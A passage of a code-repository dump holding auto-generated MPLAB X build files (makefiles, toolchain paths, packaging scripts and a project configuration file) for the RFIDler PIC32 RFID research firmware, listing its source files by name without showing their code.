-D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/sniff.o.d\" -o ${OBJECTDIR}/src/sniff.o src/sniff.c     \n\t\n${OBJECTDIR}/src/tamagotchi.o: src/tamagotchi.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/tamagotchi.o.d \n\t@${RM} ${OBJECTDIR}/src/tamagotchi.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/tamagotchi.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/tamagotchi.o.d\" -o ${OBJECTDIR}/src/tamagotchi.o src/tamagotchi.c     \n\t\n${OBJECTDIR}/src/hdx.o: src/hdx.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hdx.o.d \n\t@${RM} ${OBJECTDIR}/src/hdx.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hdx.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hdx.o.d\" -o ${OBJECTDIR}/src/hdx.o src/hdx.c     \n\t\n${OBJECTDIR}/src/hitag2crack.o: src/hitag2crack.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitag2crack.o.d \n\t@${RM} ${OBJECTDIR}/src/hitag2crack.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitag2crack.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitag2crack.o.d\" -o ${OBJECTDIR}/src/hitag2crack.o src/hitag2crack.c     \n\t\n${OBJECTDIR}/src/paxton.o: src/paxton.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/paxton.o.d \n\t@${RM} ${OBJECTDIR}/src/paxton.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/paxton.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/paxton.o.d\" -o ${OBJECTDIR}/src/paxton.o src/paxton.c     \n\t\nendif\n\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: compileCPP\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\nelse\nendif\n\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: link\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\ndist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}: ${OBJECTFILES}  nbproject/Makefile-${CND_CONF}.mk  /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a  \n\t@${MKDIR} dist/${CND_CONF}/${IMAGE_TYPE} \n\t${MP_CC} $(MP_EXTRA_LD_PRE)  -mdebugger -D__MPLAB_DEBUGGER_PK3=1 -mprocessor=$(MP_PROCESSOR_OPTION)  -o dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX} ${OBJECTFILES_QUOTED_IF_SPACED}    /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a          -mreserve=boot@0x1FC02000:0x1FC02FEF -mreserve=boot@0x1FC02000:0x1FC024FF  -Wl,--defsym=__MPLAB_BUILD=1$(MP_EXTRA_LD_POST)$(MP_LINKER_FILE_OPTION),--defsym=__MPLAB_DEBUG=1,--defsym=__DEBUG=1,--defsym=__MPLAB_DEBUGGER_PK3=1,--memorysummary,dist/${CND_CONF}/${IMAGE_TYPE}/memoryfile.xml\n\t\nelse\ndist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}: ${OBJECTFILES}  nbproject/Makefile-${CND_CONF}.mk  /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a \n\t@${MKDIR} dist/${CND_CONF}/${IMAGE_TYPE} \n\t${MP_CC} $(MP_EXTRA_LD_PRE)  -mprocessor=$(MP_PROCESSOR_OPTION)  -o dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${DEBUGGABLE_SUFFIX} ${OBJECTFILES_QUOTED_IF_SPACED}    /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a        -Wl,--defsym=__MPLAB_BUILD=1$(MP_EXTRA_LD_POST)$(MP_LINKER_FILE_OPTION),--memorysummary,dist/${CND_CONF}/${IMAGE_TYPE}/memoryfile.xml\n\t${MP_CC_DIR}/xc32-bin2hex dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${DEBUGGABLE_SUFFIX} \nendif\n\n\n# Subprojects\n.build-subprojects:\n\n\n# Subprojects\n.clean-subprojects:\n\n# Clean Targets\n.clean-conf: ${CLEAN_SUBPROJECTS}\n\t${RM} -r build/default\n\t${RM} -r dist/default\n\n# Enable dependency checking\n.dep.inc: .depcheck-impl\n\nDEPFILES=$(shell \"${PATH_TO_IDE_BIN}\"mplabwildcard ${POSSIBLE_DEPFILES})\nifneq (${DEPFILES},)\ninclude ${DEPFILES}\nendif\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Makefile-genesis.properties",
    "content": "#\n#Fri Sep 22 21:12:14 BST 2017\ndefault.languagetoolchain.version=1.40\ndebug.com-microchip-mplab-nbide-toolchainXC32-XC32LanguageToolchain.md5=7c6f696c4b3352f7d84fe1d22087e24a\nconf.ids=default,debug\ndefault.languagetoolchain.dir=/opt/microchip/xc32/v1.40/bin\ndebug.languagetoolchain.dir=/opt/microchip/xc32/v1.40/bin\nconfigurations-xml=aa7855d6937d27bb649481550b84a84e\ndefault.com-microchip-mplab-nbide-toolchainXC32-XC32LanguageToolchain.md5=7c6f696c4b3352f7d84fe1d22087e24a\ncom-microchip-mplab-nbide-embedded-makeproject-MakeProject.md5=86cd07c925781d185dcd90a0ee6d03fc\ndebug.languagetoolchain.version=1.40\nhost.platform=linux\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Makefile-impl.mk",
    "content": "#\n# Generated Makefile - do not edit!\n#\n# Edit the Makefile in the project folder instead (../Makefile). Each target\n# has a pre- and a post- target defined where you can add customization code.\n#\n# This makefile implements macros and targets common to all configurations.\n#\n# NOCDDL\n\n\n# Building and Cleaning subprojects are done by default, but can be controlled with the SUB\n# macro. If SUB=no, subprojects will not be built or cleaned. The following macro\n# statements set BUILD_SUB-CONF and CLEAN_SUB-CONF to .build-reqprojects-conf\n# and .clean-reqprojects-conf unless SUB has the value 'no'\nSUB_no=NO\nSUBPROJECTS=${SUB_${SUB}}\nBUILD_SUBPROJECTS_=.build-subprojects\nBUILD_SUBPROJECTS_NO=\nBUILD_SUBPROJECTS=${BUILD_SUBPROJECTS_${SUBPROJECTS}}\nCLEAN_SUBPROJECTS_=.clean-subprojects\nCLEAN_SUBPROJECTS_NO=\nCLEAN_SUBPROJECTS=${CLEAN_SUBPROJECTS_${SUBPROJECTS}}\n\n\n# Project Name\nPROJECTNAME=RFIDler.X\n\n# Active Configuration\nDEFAULTCONF=debug\nCONF=${DEFAULTCONF}\n\n# All Configurations\nALLCONFS=default debug \n\n\n# build\n.build-impl: .build-pre\n\t${MAKE} -f nbproject/Makefile-${CONF}.mk SUBPROJECTS=${SUBPROJECTS} .build-conf\n\n\n# clean\n.clean-impl: .clean-pre\n\t${MAKE} -f nbproject/Makefile-${CONF}.mk SUBPROJECTS=${SUBPROJECTS} .clean-conf\n\n# clobber\n.clobber-impl: .clobber-pre .depcheck-impl\n\t    ${MAKE} SUBPROJECTS=${SUBPROJECTS} CONF=default clean\n\t    ${MAKE} SUBPROJECTS=${SUBPROJECTS} CONF=debug clean\n\n\n\n# all\n.all-impl: .all-pre .depcheck-impl\n\t    ${MAKE} SUBPROJECTS=${SUBPROJECTS} CONF=default build\n\t    ${MAKE} SUBPROJECTS=${SUBPROJECTS} CONF=debug build\n\n\n\n# dependency checking support\n.depcheck-impl:\n#\t@echo \"# This code depends on make tool being used\" >.dep.inc\n#\t@if [ -n \"${MAKE_VERSION}\" ]; then \\\n#\t    echo \"DEPFILES=\\$$(wildcard \\$$(addsuffix .d, \\$${OBJECTFILES}))\" >>.dep.inc; \\\n#\t    echo \"ifneq (\\$${DEPFILES},)\" >>.dep.inc; \\\n#\t    echo \"include \\$${DEPFILES}\" >>.dep.inc; \\\n#\t    echo \"endif\" >>.dep.inc; \\\n#\telse \\\n#\t    echo \".KEEP_STATE:\" >>.dep.inc; \\\n#\t    echo \".KEEP_STATE_FILE:.make.state.\\$${CONF}\" >>.dep.inc; \\\n#\tfi\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Makefile-local-debug.mk",
    "content": "#\n# Generated Makefile - do not edit!\n#\n#\n# This file contains information about the location of compilers and other tools.\n# If you commmit this file into your revision control server, you will be able to \n# to checkout the project and build it from the command line with make. However,\n# if more than one person works on the same project, then this file might show\n# conflicts since different users are bound to have compilers in different places.\n# In that case you might choose to not commit this file and let MPLAB X recreate this file\n# for each user. The disadvantage of not commiting this file is that you must run MPLAB X at\n# least once so the file gets created and the project can be built. Finally, you can also\n# avoid using this file at all if you are only building from the command line with make.\n# You can invoke make with the values of the macros:\n# $ makeMP_CC=\"/opt/microchip/mplabc30/v3.30c/bin/pic30-gcc\" ...  \n#\nPATH_TO_IDE_BIN=/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/\n# Adding MPLAB X bin directory to path.\nPATH:=/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/:$(PATH)\n# Path to java used to run MPLAB X when this makefile was created\nMP_JAVA_PATH=\"/opt/microchip/mplabx/v3.20/sys/java/jre1.8.0_65/bin/\"\nOS_CURRENT=\"$(shell uname -s)\"\nMP_CC=\"/opt/microchip/xc32/v1.40/bin/xc32-gcc\"\nMP_CPPC=\"/opt/microchip/xc32/v1.40/bin/xc32-g++\"\n# MP_BC is not defined\nMP_AS=\"/opt/microchip/xc32/v1.40/bin/xc32-as\"\nMP_LD=\"/opt/microchip/xc32/v1.40/bin/xc32-ld\"\nMP_AR=\"/opt/microchip/xc32/v1.40/bin/xc32-ar\"\nDEP_GEN=${MP_JAVA_PATH}java -jar \"/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/extractobjectdependencies.jar\"\nMP_CC_DIR=\"/opt/microchip/xc32/v1.40/bin\"\nMP_CPPC_DIR=\"/opt/microchip/xc32/v1.40/bin\"\n# MP_BC_DIR is not defined\nMP_AS_DIR=\"/opt/microchip/xc32/v1.40/bin\"\nMP_LD_DIR=\"/opt/microchip/xc32/v1.40/bin\"\nMP_AR_DIR=\"/opt/microchip/xc32/v1.40/bin\"\n# MP_BC_DIR is not defined\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Makefile-local-default.mk",
    "content": "#\n# Generated Makefile - do not edit!\n#\n#\n# This file contains information about the location of compilers and other tools.\n# If you commmit this file into your revision control server, you will be able to \n# to checkout the project and build it from the command line with make. However,\n# if more than one person works on the same project, then this file might show\n# conflicts since different users are bound to have compilers in different places.\n# In that case you might choose to not commit this file and let MPLAB X recreate this file\n# for each user. The disadvantage of not commiting this file is that you must run MPLAB X at\n# least once so the file gets created and the project can be built. Finally, you can also\n# avoid using this file at all if you are only building from the command line with make.\n# You can invoke make with the values of the macros:\n# $ makeMP_CC=\"/opt/microchip/mplabc30/v3.30c/bin/pic30-gcc\" ...  \n#\nPATH_TO_IDE_BIN=/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/\n# Adding MPLAB X bin directory to path.\nPATH:=/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/:$(PATH)\n# Path to java used to run MPLAB X when this makefile was created\nMP_JAVA_PATH=\"/opt/microchip/mplabx/v3.20/sys/java/jre1.8.0_65/bin/\"\nOS_CURRENT=\"$(shell uname -s)\"\nMP_CC=\"/opt/microchip/xc32/v1.40/bin/xc32-gcc\"\nMP_CPPC=\"/opt/microchip/xc32/v1.40/bin/xc32-g++\"\n# MP_BC is not defined\nMP_AS=\"/opt/microchip/xc32/v1.40/bin/xc32-as\"\nMP_LD=\"/opt/microchip/xc32/v1.40/bin/xc32-ld\"\nMP_AR=\"/opt/microchip/xc32/v1.40/bin/xc32-ar\"\nDEP_GEN=${MP_JAVA_PATH}java -jar \"/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/extractobjectdependencies.jar\"\nMP_CC_DIR=\"/opt/microchip/xc32/v1.40/bin\"\nMP_CPPC_DIR=\"/opt/microchip/xc32/v1.40/bin\"\n# MP_BC_DIR is not defined\nMP_AS_DIR=\"/opt/microchip/xc32/v1.40/bin\"\nMP_LD_DIR=\"/opt/microchip/xc32/v1.40/bin\"\nMP_AR_DIR=\"/opt/microchip/xc32/v1.40/bin\"\n# MP_BC_DIR is not defined\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Makefile-variables.mk",
    "content": "#\n# Generated - do not edit!\n#\n# NOCDDL\n#\nCND_BASEDIR=`pwd`\n# default configuration\nCND_ARTIFACT_DIR_default=dist/default/production\nCND_ARTIFACT_NAME_default=RFIDler.X.production.hex\nCND_ARTIFACT_PATH_default=dist/default/production/RFIDler.X.production.hex\nCND_PACKAGE_DIR_default=${CND_DISTDIR}/default/package\nCND_PACKAGE_NAME_default=rfidler.x.tar\nCND_PACKAGE_PATH_default=${CND_DISTDIR}/default/package/rfidler.x.tar\n# debug configuration\nCND_ARTIFACT_DIR_debug=dist/debug/production\nCND_ARTIFACT_NAME_debug=RFIDler.X.production.hex\nCND_ARTIFACT_PATH_debug=dist/debug/production/RFIDler.X.production.hex\nCND_PACKAGE_DIR_debug=${CND_DISTDIR}/debug/package\nCND_PACKAGE_NAME_debug=rfidler.x.tar\nCND_PACKAGE_PATH_debug=${CND_DISTDIR}/debug/package/rfidler.x.tar\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Package-debug.bash",
    "content": "#!/bin/bash -x\n\n#\n# Generated - do not edit!\n#\n\n# Macros\nTOP=`pwd`\nCND_CONF=debug\nCND_DISTDIR=dist\nTMPDIR=build/${CND_CONF}/${IMAGE_TYPE}/tmp-packaging\nTMPDIRNAME=tmp-packaging\nOUTPUT_PATH=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\nOUTPUT_BASENAME=RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\nPACKAGE_TOP_DIR=rfidler.x/\n\n# Functions\nfunction checkReturnCode\n{\n    rc=$?\n    if [ $rc != 0 ]\n    then\n        exit $rc\n    fi\n}\nfunction makeDirectory\n# $1 directory path\n# $2 permission (optional)\n{\n    mkdir -p \"$1\"\n    checkReturnCode\n    if [ \"$2\" != \"\" ]\n    then\n      chmod $2 \"$1\"\n      checkReturnCode\n    fi\n}\nfunction copyFileToTmpDir\n# $1 from-file path\n# $2 to-file path\n# $3 permission\n{\n    cp \"$1\" \"$2\"\n    checkReturnCode\n    if [ \"$3\" != \"\" ]\n    then\n        chmod $3 \"$2\"\n        checkReturnCode\n    fi\n}\n\n# Setup\ncd \"${TOP}\"\nmkdir -p ${CND_DISTDIR}/${CND_CONF}/package\nrm -rf ${TMPDIR}\nmkdir -p ${TMPDIR}\n\n# Copy files and create directories and links\ncd \"${TOP}\"\nmakeDirectory ${TMPDIR}/rfidler.x/bin\ncopyFileToTmpDir \"${OUTPUT_PATH}\" \"${TMPDIR}/${PACKAGE_TOP_DIR}bin/${OUTPUT_BASENAME}\" 0755\n\n\n# Generate tar file\ncd \"${TOP}\"\nrm -f ${CND_DISTDIR}/${CND_CONF}/package/rfidler.x.tar\ncd ${TMPDIR}\ntar -vcf ../../../../${CND_DISTDIR}/${CND_CONF}/package/rfidler.x.tar *\ncheckReturnCode\n\n# Cleanup\ncd \"${TOP}\"\nrm -rf ${TMPDIR}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Package-default.bash",
    "content": "#!/bin/bash -x\n\n#\n# Generated - do not edit!\n#\n\n# Macros\nTOP=`pwd`\nCND_CONF=default\nCND_DISTDIR=dist\nTMPDIR=build/${CND_CONF}/${IMAGE_TYPE}/tmp-packaging\nTMPDIRNAME=tmp-packaging\nOUTPUT_PATH=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\nOUTPUT_BASENAME=RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\nPACKAGE_TOP_DIR=rfidler.x/\n\n# Functions\nfunction checkReturnCode\n{\n    rc=$?\n    if [ $rc != 0 ]\n    then\n        exit $rc\n    fi\n}\nfunction makeDirectory\n# $1 directory path\n# $2 permission (optional)\n{\n    mkdir -p \"$1\"\n    checkReturnCode\n    if [ \"$2\" != \"\" ]\n    then\n      chmod $2 \"$1\"\n      checkReturnCode\n    fi\n}\nfunction copyFileToTmpDir\n# $1 from-file path\n# $2 to-file path\n# $3 permission\n{\n    cp \"$1\" \"$2\"\n    checkReturnCode\n    if [ \"$3\" != \"\" ]\n    then\n        chmod $3 \"$2\"\n        checkReturnCode\n    fi\n}\n\n# Setup\ncd \"${TOP}\"\nmkdir -p ${CND_DISTDIR}/${CND_CONF}/package\nrm -rf ${TMPDIR}\nmkdir -p ${TMPDIR}\n\n# Copy files and create directories and links\ncd \"${TOP}\"\nmakeDirectory ${TMPDIR}/rfidler.x/bin\ncopyFileToTmpDir \"${OUTPUT_PATH}\" \"${TMPDIR}/${PACKAGE_TOP_DIR}bin/${OUTPUT_BASENAME}\" 0755\n\n\n# Generate tar file\ncd \"${TOP}\"\nrm -f ${CND_DISTDIR}/${CND_CONF}/package/rfidler.x.tar\ncd ${TMPDIR}\ntar -vcf ../../../../${CND_DISTDIR}/${CND_CONF}/package/rfidler.x.tar *\ncheckReturnCode\n\n# Cleanup\ncd \"${TOP}\"\nrm -rf ${TMPDIR}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/configurations.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configurationDescriptor version=\"62\">\n  <logicalFolder name=\"root\" displayName=\"root\" projectFiles=\"true\">\n    <logicalFolder name=\"f1\" displayName=\"Documentation\" projectFiles=\"true\">\n      <logicalFolder name=\"datasheets\" displayName=\"datasheets\" projectFiles=\"true\">\n        <itemPath>../../../datasheets/PIC32MX5XX6XX7XX.pdf</itemPath>\n      </logicalFolder>\n      <itemPath>../../../README.md</itemPath>\n    </logicalFolder>\n    <logicalFolder name=\"HeaderFiles\"\n                   displayName=\"Header Files\"\n                   projectFiles=\"true\">\n      <itemPath>include/HardwareProfile.h</itemPath>\n      <itemPath>include/indala.h</itemPath>\n      <itemPath>include/psk.h</itemPath>\n      <itemPath>include/usb_config.h</itemPath>\n      <itemPath>include/util.h</itemPath>\n      <itemPath>include/emulate.h</itemPath>\n      <itemPath>include/ask.h</itemPath>\n      <itemPath>include/fsk.h</itemPath>\n      <itemPath>include/rfidler.h</itemPath>\n      <itemPath>include/clock.h</itemPath>\n      <itemPath>include/rwd.h</itemPath>\n      <itemPath>include/detect.h</itemPath>\n      <itemPath>include/hitagcrypto.h</itemPath>\n      <itemPath>include/wiegand.h</itemPath>\n      <itemPath>include/comms.h</itemPath>\n      <itemPath>include/nvm.h</itemPath>\n      <itemPath>include/mcp414x.h</itemPath>\n      <itemPath>include/spi.h</itemPath>\n      <itemPath>include/uart3.h</itemPath>\n      <itemPath>include/tags.h</itemPath>\n      <itemPath>include/unique.h</itemPath>\n      <itemPath>include/led.h</itemPath>\n      <itemPath>include/em.h</itemPath>\n      <itemPath>include/hid.h</itemPath>\n      <itemPath>include/read.h</itemPath>\n      <itemPath>include/auto.h</itemPath>\n      <itemPath>include/fdxb.h</itemPath>\n      <itemPath>include/hitag.h</itemPath>\n      <itemPath>include/uid.h</itemPath>\n      <itemPath>include/login.h</itemPath>\n      <itemPath>include/write.h</itemPath>\n      <itemPath>include/auth.h</itemPath>\n      <itemPath>include/q5.h</itemPath>\n      <itemPath>include/vtag.h</itemPath>\n      <itemPath>include/config.h</itemPath>\n      <itemPath>include/select.h</itemPath>\n      <itemPath>include/sc_config.h</itemPath>\n      <itemPath>include/sdcard.h</itemPath>\n      <itemPath>include/FSconfig.h</itemPath>\n      <itemPath>include/debug_pins.h</itemPath>\n      <itemPath>include/awid.h</itemPath>\n      <itemPath>include/analogue.h</itemPath>\n      <itemPath>include/iso_7816.h</itemPath>\n      <itemPath>include/t55x7.h</itemPath>\n      <itemPath>include/sniff.h</itemPath>\n      <itemPath>include/tamagotchi.h</itemPath>\n      <itemPath>include/hdx.h</itemPath>\n      <itemPath>include/hitag2crack.h</itemPath>\n      <itemPath>include/paxton.h</itemPath>\n    </logicalFolder>\n    <logicalFolder name=\"LinkerScript\"\n                   displayName=\"Linker Files\"\n                   projectFiles=\"true\">\n      <itemPath>procdefs.ld</itemPath>\n    </logicalFolder>\n    <logicalFolder name=\"f2\" displayName=\"Linux Support\" projectFiles=\"true\">\n      <itemPath>../../../linux-support/71-rfidler-lf-cdc-blacklist.rules</itemPath>\n    </logicalFolder>\n    <logicalFolder name=\"SourceFiles\"\n                   displayName=\"Source Files\"\n                   projectFiles=\"true\">\n      <logicalFolder name=\"f3\" displayName=\"Microchip SD Card\" projectFiles=\"true\">\n        <itemPath>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c</itemPath>\n        <itemPath>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c</itemPath>\n      </logicalFolder>\n      <logicalFolder name=\"f2\" displayName=\"Microchip Smartcard\" projectFiles=\"true\">\n        <itemPath>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c</itemPath>\n        <itemPath>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c</itemPath>\n      </logicalFolder>\n      <logicalFolder name=\"f1\" displayName=\"Microchip USB Stack\" projectFiles=\"true\">\n        <itemPath>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c</itemPath>\n        <itemPath>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c</itemPath>\n      </logicalFolder>\n      <itemPath>src/indala.c</itemPath>\n      <itemPath>src/main.c</itemPath>\n      <itemPath>src/psk.c</itemPath>\n      <itemPath>src/usb_descriptors.c</itemPath>\n      <itemPath>src/util.c</itemPath>\n      <itemPath>src/emulate.c</itemPath>\n      <itemPath>src/ask.c</itemPath>\n      <itemPath>src/fsk.c</itemPath>\n      <itemPath>src/clock.c</itemPath>\n      <itemPath>src/rwd.c</itemPath>\n      <itemPath>src/detect.c</itemPath>\n      <itemPath>src/hitagcrypto.c</itemPath>\n      <itemPath>src/wiegand.c</itemPath>\n      <itemPath>src/comms.c</itemPath>\n      <itemPath>src/nvm.c</itemPath>\n      <itemPath>src/mcp414x.c</itemPath>\n      <itemPath>src/spi.c</itemPath>\n      <itemPath>src/uart3.c</itemPath>\n      <itemPath>src/tags.c</itemPath>\n      <itemPath>src/unique.c</itemPath>\n      <itemPath>src/led.c</itemPath>\n      <itemPath>src/em.c</itemPath>\n      <itemPath>src/hid.c</itemPath>\n      <itemPath>src/read.c</itemPath>\n      <itemPath>src/isr.c</itemPath>\n      <itemPath>src/auto.c</itemPath>\n      <itemPath>src/fdxb.c</itemPath>\n      <itemPath>src/hitag.c</itemPath>\n      <itemPath>src/uid.c</itemPath>\n      <itemPath>src/login.c</itemPath>\n      <itemPath>src/write.c</itemPath>\n      <itemPath>src/auth.c</itemPath>\n      <itemPath>src/q5.c</itemPath>\n      <itemPath>src/vtag.c</itemPath>\n      <itemPath>src/config.c</itemPath>\n      <itemPath>src/select.c</itemPath>\n      <itemPath>src/sdcard.c</itemPath>\n      <itemPath>src/debug_pins.c</itemPath>\n      <itemPath>src/awid.c</itemPath>\n      <itemPath>src/analogue.c</itemPath>\n      <itemPath>src/iso7816.c</itemPath>\n      <itemPath>src/t55x7.c</itemPath>\n      <itemPath>src/sniff.c</itemPath>\n      <itemPath>src/tamagotchi.c</itemPath>\n      <itemPath>src/hdx.c</itemPath>\n      <itemPath>src/hitag2crack.c</itemPath>\n      <itemPath>src/paxton.c</itemPath>\n    </logicalFolder>\n    <logicalFolder name=\"windows driver\"\n                   displayName=\"Windows Driver\"\n                   projectFiles=\"true\">\n      <itemPath>../../../windows driver/inf/rfidlercdc.cat</itemPath>\n      <itemPath>../../../windows driver/inf/rfidlercdc.inf</itemPath>\n    </logicalFolder>\n    <logicalFolder name=\"ExternalFiles\"\n                   displayName=\"Important Files\"\n                   projectFiles=\"false\">\n      <itemPath>Makefile</itemPath>\n    </logicalFolder>\n  </logicalFolder>\n  <sourceRootList>\n    <Elem>.</Elem>\n    <Elem>../windows driver</Elem>\n    <Elem>../../../datasheets</Elem>\n    <Elem>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System</Elem>\n    <Elem>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card</Elem>\n    <Elem>/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB</Elem>\n  </sourceRootList>\n  <projectmakefile>Makefile</projectmakefile>\n  <confs>\n    <conf name=\"default\" type=\"2\">\n      <toolsSet>\n        <developmentServer>localhost</developmentServer>\n        <targetDevice>PIC32MX795F512L</targetDevice>\n        <targetHeader></targetHeader>\n        <targetPluginBoard></targetPluginBoard>\n        <platformTool>PK3OBPlatformTool</platformTool>\n        <languageToolchain>XC32</languageToolchain>\n        <languageToolchainVersion>1.40</languageToolchainVersion>\n        <platform>2</platform>\n      </toolsSet>\n      <compileType>\n        <linkerTool>\n          <linkerLibItems>\n            <linkerLibFileItem>/opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a</linkerLibFileItem>\n          </linkerLibItems>\n        </linkerTool>\n        <archiverTool>\n        </archiverTool>\n        <loading>\n          <useAlternateLoadableFile>false</useAlternateLoadableFile>\n          <parseOnProdLoad>false</parseOnProdLoad>\n          <alternateLoadableFile></alternateLoadableFile>\n        </loading>\n      </compileType>\n      <makeCustomizationType>\n        <makeCustomizationPreStepEnabled>false</makeCustomizationPreStepEnabled>\n        <makeCustomizationPreStep></makeCustomizationPreStep>\n        <makeCustomizationPostStepEnabled>false</makeCustomizationPostStepEnabled>\n        <makeCustomizationPostStep></makeCustomizationPostStep>\n        <makeCustomizationPutChecksumInUserID>false</makeCustomizationPutChecksumInUserID>\n        <makeCustomizationEnableLongLines>false</makeCustomizationEnableLongLines>\n        <makeCustomizationNormalizeHexFile>false</makeCustomizationNormalizeHexFile>\n      </makeCustomizationType>\n      <C32>\n        <property key=\"additional-warnings\" value=\"false\"/>\n        <property key=\"enable-app-io\" value=\"false\"/>\n        <property key=\"enable-omit-frame-pointer\" value=\"false\"/>\n        <property key=\"enable-symbols\" value=\"true\"/>\n        <property key=\"enable-unroll-loops\" value=\"false\"/>\n        <property 